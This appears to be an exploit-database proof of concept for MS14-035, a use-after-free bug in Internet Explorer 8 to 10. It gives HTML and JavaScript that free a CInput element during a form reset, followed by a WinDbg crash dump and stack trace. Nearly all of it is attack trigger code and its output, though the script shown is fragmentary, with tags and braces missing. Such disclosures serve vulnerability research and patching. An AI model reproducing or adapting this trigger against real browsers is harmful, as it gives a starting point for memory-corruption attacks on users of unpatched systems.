Microsoft Internet Explorer 8/9/10 - 'CInput' Use-After-Free Crash (PoC) (MS14-035)







Exploit Title: MS14-035 Internet Explorer CInput Use-after-free POC
Product: Internet Explorer
Vulnerable version: 8,9,10
Date: 23.06.2014
Exploit Author: Drozdova Liudmila, ITDefensor Vulnerability Research Team (
Vendor Homepage:
Tested on: Window 7 SP1 x86 IE 7,8,9,10
CVE : unknown
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>

<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">


var startfl=false;

function changer() {
 // Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element  
   if (startfl) {
       document.getElementById("testfm").innerHTML = ""; // Destroy form contents, free next CInput in DoReset 


document.getElementById("child2").checked = true;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call




Crash details

(fd4.d84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6a5c0704 ebx=0556b358 ecx=081c2848 edx=00000004 esi=081c2848 edi=00000002
eip=00000000 esp=025bce94 ebp=025bceb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
00000000 ??              ???
0:004> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
025bce90 6a5d1742 091ac108 00001200 6aafcb54 0x0
025bceb4 6a733150 0556b358 091ac108 6a73311d mshtml!CFormElement::DoReset+0xea
025bced0 6a7ef10b 0556b358 091ac108 0363d298 mshtml!Method_void_void+0x75
025bcf44 6a7fa6c6 0556b358 000003f2 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
025bcf94 6a81738a 0556b358 000003f2 00000001 mshtml!CElement::ContextInvokeEx+0x9d
025bcfd0 6a79bc0e 0556b358 000003f2 00000001 mshtml!CFormElement::VersionedInvokeEx+0xf0
025bd024 6c38a26e 0363d838 000003f2 00000001 mshtml!PlainInvokeEx+0xeb
025bd060 6c38a1b9 08968530 000003f2 00000409 jscript!IDispatchExInvokeEx2+0x104
025bd09c 6c38a43a 08968530 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
025bd15c 6c38a4e4 000003f2 00000001 00000000 jscript!InvokeDispatchEx+0x98
025bd190 6c39d9a8 08968530 025bd1c4 00000001 jscript!VAR::InvokeByName+0x139
025bd1dc 6c39da4f 08968530 00000001 00000000 jscript!VAR::InvokeDispName+0x7d
025bd208 6c39e4c7 08968530 00000000 00000001 jscript!VAR::InvokeByDispID+0xce
025bd3a4 6c395d7d 025bd3bc 025bd500 0113ca98 jscript!CScriptRuntime::Run+0x2b80
025bd48c 6c395cdb 025bd500 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xce
025bd4d4 6c395ef1 025bd500 00000000 00000000 jscript!ScrFncObj::Call+0x8d
025bd550 6c39620a 0113ca98 025bd710 00000000 jscript!CSession::Execute+0x15f
025bd59c 6c39c3b9 08987c70 025bd710 025bd720 jscript!COleScript::ExecutePendingScripts+0x1bd
025bd600 6c39c1d1 08987c70 002d346c 6a75f7b0 jscript!COleScript::ParseScriptTextCore+0x2a4
025bd628 6a75f774 08987c74 03dc016c 002d346c jscript!COleScript::ParseScriptText+0x30